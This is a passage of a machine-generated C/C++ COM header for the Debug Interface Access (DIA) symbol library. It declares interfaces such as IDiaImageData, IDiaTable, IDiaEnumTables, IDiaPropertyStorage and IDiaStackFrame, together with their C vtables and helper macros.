get_addressSection(This,pRetVal) ) \n\n#define IDiaFrameData_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaFrameData_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaFrameData_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaFrameData_get_lengthBlock(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lengthBlock(This,pRetVal) ) \n\n#define IDiaFrameData_get_lengthLocals(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lengthLocals(This,pRetVal) ) \n\n#define IDiaFrameData_get_lengthParams(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lengthParams(This,pRetVal) ) \n\n#define IDiaFrameData_get_maxStack(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_maxStack(This,pRetVal) ) \n\n#define IDiaFrameData_get_lengthProlog(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lengthProlog(This,pRetVal) ) \n\n#define IDiaFrameData_get_lengthSavedRegisters(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lengthSavedRegisters(This,pRetVal) ) \n\n#define IDiaFrameData_get_program(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_program(This,pRetVal) ) \n\n#define IDiaFrameData_get_systemExceptionHandling(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_systemExceptionHandling(This,pRetVal) ) \n\n#define IDiaFrameData_get_cplusplusExceptionHandling(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_cplusplusExceptionHandling(This,pRetVal) ) \n\n#define IDiaFrameData_get_functionStart(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_functionStart(This,pRetVal) ) \n\n#define IDiaFrameData_get_allocatesBasePointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_allocatesBasePointer(This,pRetVal) ) \n\n#define IDiaFrameData_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaFrameData_get_functionParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_functionParent(This,pRetVal) ) \n\n#define IDiaFrameData_execute(This,frame)\t\\\n    ( (This)->lpVtbl -> execute(This,frame) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaFrameData_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaImageData_INTERFACE_DEFINED__\n#define __IDiaImageData_INTERFACE_DEFINED__\n\n/* interface IDiaImageData */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaImageData;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"C8E40ED2-A1D9-4221-8692-3CE661184B44\")\n    IDiaImageData : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_imageBase( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaImageDataVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaImageData * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaImageData * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaImageData * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaImageData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaImageData * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_imageBase )( \n            IDiaImageData * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        END_INTERFACE\n    } IDiaImageDataVtbl;\n\n    interface IDiaImageData\n    {\n        CONST_VTBL struct IDiaImageDataVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaImageData_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaImageData_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaImageData_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaImageData_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaImageData_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaImageData_get_imageBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_imageBase(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaImageData_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaTable_INTERFACE_DEFINED__\n#define __IDiaTable_INTERFACE_DEFINED__\n\n/* interface IDiaTable */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaTable;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"4A59FB77-ABAC-469b-A30B-9ECC85BFEF14\")\n    IDiaTable : public IEnumUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_name( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ IUnknown **element) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaTableVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaTable * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaTable * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaTable * This);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaTable * This,\n            /* [annotation][in] */ \n            _In_  ULONG celt,\n            /* [annotation][out] */ \n            _Out_writes_to_(celt,*pceltFetched)  IUnknown **rgelt,\n            /* [annotation][out] */ \n            _Out_opt_  ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaTable * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaTable * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaTable * This,\n            /* [out] */ IEnumUnknown **ppenum);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaTable * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaTable * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaTable * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaTable * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ IUnknown **element);\n        \n        END_INTERFACE\n    } IDiaTableVtbl;\n\n    interface IDiaTable\n    {\n        CONST_VTBL struct IDiaTableVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaTable_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaTable_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaTable_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaTable_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaTable_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaTable_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaTable_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n\n#define IDiaTable_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaTable_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaTable_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaTable_Item(This,index,element)\t\\\n    ( (This)->lpVtbl -> Item(This,index,element) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaTable_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumTables_INTERFACE_DEFINED__\n#define __IDiaEnumTables_INTERFACE_DEFINED__\n\n/* interface IDiaEnumTables */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumTables;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"C65C2B0A-1150-4d7a-AFCC-E05BF3DEE81E\")\n    IDiaEnumTables : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ VARIANT index,\n            /* [retval][out] */ IDiaTable **table) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            ULONG celt,\n            IDiaTable **rgelt,\n            ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumTables **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumTablesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumTables * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumTables * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumTables * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumTables * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumTables * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumTables * This,\n            /* [in] */ VARIANT index,\n            /* [retval][out] */ IDiaTable **table);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumTables * This,\n            ULONG celt,\n            IDiaTable **rgelt,\n            ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumTables * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumTables * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumTables * This,\n            /* [out] */ IDiaEnumTables **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumTablesVtbl;\n\n    interface IDiaEnumTables\n    {\n        CONST_VTBL struct IDiaEnumTablesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumTables_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumTables_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumTables_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumTables_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumTables_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumTables_Item(This,index,table)\t\\\n    ( (This)->lpVtbl -> Item(This,index,table) ) \n\n#define IDiaEnumTables_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumTables_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumTables_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumTables_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumTables_INTERFACE_DEFINED__ */\n\n\n\n#ifndef __Dia2Lib_LIBRARY_DEFINED__\n#define __Dia2Lib_LIBRARY_DEFINED__\n\n/* library Dia2Lib */\n/* [helpstring][version][uuid] */ \n\n\n\n\n\n\nEXTERN_C const IID LIBID_Dia2Lib;\n\nEXTERN_C const CLSID CLSID_DiaSource;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"e6756135-1e65-4d17-8576-610761398c3c\")\nDiaSource;\n#endif\n\nEXTERN_C const CLSID CLSID_DiaSourceAlt;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91904831-49ca-4766-b95c-25397e2dd6dc\")\nDiaSourceAlt;\n#endif\n\nEXTERN_C const CLSID CLSID_DiaStackWalker;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"ce4a85db-5768-475b-a4e1-c0bca2112a6b\")\nDiaStackWalker;\n#endif\n#endif /* __Dia2Lib_LIBRARY_DEFINED__ */\n\n/* interface __MIDL_itf_dia2_0000_0041 */\n/* [local] */ \n\n#define\tDiaTable_Symbols\t( L\"Symbols\" )\n\n#define\tDiaTable_Sections\t( L\"Sections\" )\n\n#define\tDiaTable_SrcFiles\t( L\"SourceFiles\" )\n\n#define\tDiaTable_LineNums\t( L\"LineNumbers\" )\n\n#define\tDiaTable_SegMap\t( L\"SegmentMap\" )\n\n#define\tDiaTable_Dbg\t( L\"Dbg\" )\n\n#define\tDiaTable_InjSrc\t( L\"InjectedSource\" )\n\n#define\tDiaTable_FrameData\t( L\"FrameData\" )\n\n#define\tDiaTable_InputAssemblyFiles\t( L\"InputAssemblyFiles\" )\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0041_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0041_v0_0_s_ifspec;\n\n#ifndef __IDiaPropertyStorage_INTERFACE_DEFINED__\n#define __IDiaPropertyStorage_INTERFACE_DEFINED__\n\n/* interface IDiaPropertyStorage */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaPropertyStorage;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"9d416f9c-e184-45b2-a4f0-ce517f719e9b\")\n    IDiaPropertyStorage : public IUnknown\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE ReadMultiple( \n            /* [in] */ ULONG cpspec,\n            /* [size_is][in] */ const PROPSPEC *rgpspec,\n            /* [size_is][out] */ PROPVARIANT *rgvar) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ReadPropertyNames( \n            /* [in] */ ULONG cpropid,\n            /* [size_is][in] */ const PROPID *rgpropid,\n            /* [size_is][out][in] */ BSTR *rglpwstrName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Enum( \n            /* [out] */ IEnumSTATPROPSTG **ppenum) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ReadDWORD( \n            /* [in] */ PROPID id,\n            /* [out] */ DWORD *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ReadLONG( \n            /* [in] */ PROPID id,\n            /* [out] */ LONG *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ReadBOOL( \n            /* [in] */ PROPID id,\n            /* [out] */ BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ReadULONGLONG( \n            /* [in] */ PROPID id,\n            /* [out] */ ULONGLONG *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ReadBSTR( \n            /* [in] */ PROPID id,\n            /* [out] */ BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaPropertyStorageVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaPropertyStorage * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaPropertyStorage * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaPropertyStorage * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ReadMultiple )( \n            IDiaPropertyStorage * This,\n            /* [in] */ ULONG cpspec,\n            /* [size_is][in] */ const PROPSPEC *rgpspec,\n            /* [size_is][out] */ PROPVARIANT *rgvar);\n        \n        HRESULT ( STDMETHODCALLTYPE *ReadPropertyNames )( \n            IDiaPropertyStorage * This,\n            /* [in] */ ULONG cpropid,\n            /* [size_is][in] */ const PROPID *rgpropid,\n            /* [size_is][out][in] */ BSTR *rglpwstrName);\n        \n        HRESULT ( STDMETHODCALLTYPE *Enum )( \n            IDiaPropertyStorage * This,\n            /* [out] */ IEnumSTATPROPSTG **ppenum);\n        \n        HRESULT ( STDMETHODCALLTYPE *ReadDWORD )( \n            IDiaPropertyStorage * This,\n            /* [in] */ PROPID id,\n            /* [out] */ DWORD *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ReadLONG )( \n            IDiaPropertyStorage * This,\n            /* [in] */ PROPID id,\n            /* [out] */ LONG *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ReadBOOL )( \n            IDiaPropertyStorage * This,\n            /* [in] */ PROPID id,\n            /* [out] */ BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ReadULONGLONG )( \n            IDiaPropertyStorage * This,\n            /* [in] */ PROPID id,\n            /* [out] */ ULONGLONG *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ReadBSTR )( \n            IDiaPropertyStorage * This,\n            /* [in] */ PROPID id,\n            /* [out] */ BSTR *pValue);\n        \n        END_INTERFACE\n    } IDiaPropertyStorageVtbl;\n\n    interface IDiaPropertyStorage\n    {\n        CONST_VTBL struct IDiaPropertyStorageVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaPropertyStorage_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaPropertyStorage_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaPropertyStorage_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaPropertyStorage_ReadMultiple(This,cpspec,rgpspec,rgvar)\t\\\n    ( (This)->lpVtbl -> ReadMultiple(This,cpspec,rgpspec,rgvar) ) \n\n#define IDiaPropertyStorage_ReadPropertyNames(This,cpropid,rgpropid,rglpwstrName)\t\\\n    ( (This)->lpVtbl -> ReadPropertyNames(This,cpropid,rgpropid,rglpwstrName) ) \n\n#define IDiaPropertyStorage_Enum(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Enum(This,ppenum) ) \n\n#define IDiaPropertyStorage_ReadDWORD(This,id,pValue)\t\\\n    ( (This)->lpVtbl -> ReadDWORD(This,id,pValue) ) \n\n#define IDiaPropertyStorage_ReadLONG(This,id,pValue)\t\\\n    ( (This)->lpVtbl -> ReadLONG(This,id,pValue) ) \n\n#define IDiaPropertyStorage_ReadBOOL(This,id,pValue)\t\\\n    ( (This)->lpVtbl -> ReadBOOL(This,id,pValue) ) \n\n#define IDiaPropertyStorage_ReadULONGLONG(This,id,pValue)\t\\\n    ( (This)->lpVtbl -> ReadULONGLONG(This,id,pValue) ) \n\n#define IDiaPropertyStorage_ReadBSTR(This,id,pValue)\t\\\n    ( (This)->lpVtbl -> ReadBSTR(This,id,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaPropertyStorage_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaStackFrame_INTERFACE_DEFINED__\n#define __IDiaStackFrame_INTERFACE_DEFINED__\n\n/* interface IDiaStackFrame */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaStackFrame;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"5edbc96d-cdd6-4792-afbe-cc89007d9610\")\n    IDiaStackFrame : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_type( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_base( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_size( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_returnAddress( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_localsBase( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthLocals( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthParams( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthProlog( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthSavedRegisters( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_systemExceptionHandling( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_cplusplusExceptionHandling( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_functionStart( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_allocatesBasePointer( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_maxStack( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_registerValue( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaStackFrameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaStackFrame * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaStackFrame * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaStackFrame * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_base )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_size )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_returnAddress )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localsBase )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthLocals )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthParams )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthProlog )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthSavedRegisters )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_systemExceptionHandling )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_cplusplusExceptionHandling )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_functionStart )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_allocatesBasePointer )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_maxStack )( \n            IDiaStackFrame * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerValue )( \n            IDiaStackFrame * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        END_INTERFACE\n    } IDiaStackFrameVtbl;\n\n    interface IDiaStackFrame\n    {\n        CONST_VTBL struct IDiaStackFrameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaStackFrame_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaStackFrame_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaStackFrame_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaStackFrame_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaStackFrame_get_base(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_base(This,pRetVal) ) \n\n#define IDiaStackFrame_get_size(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_size(This,pRetVal) ) \n\n#define 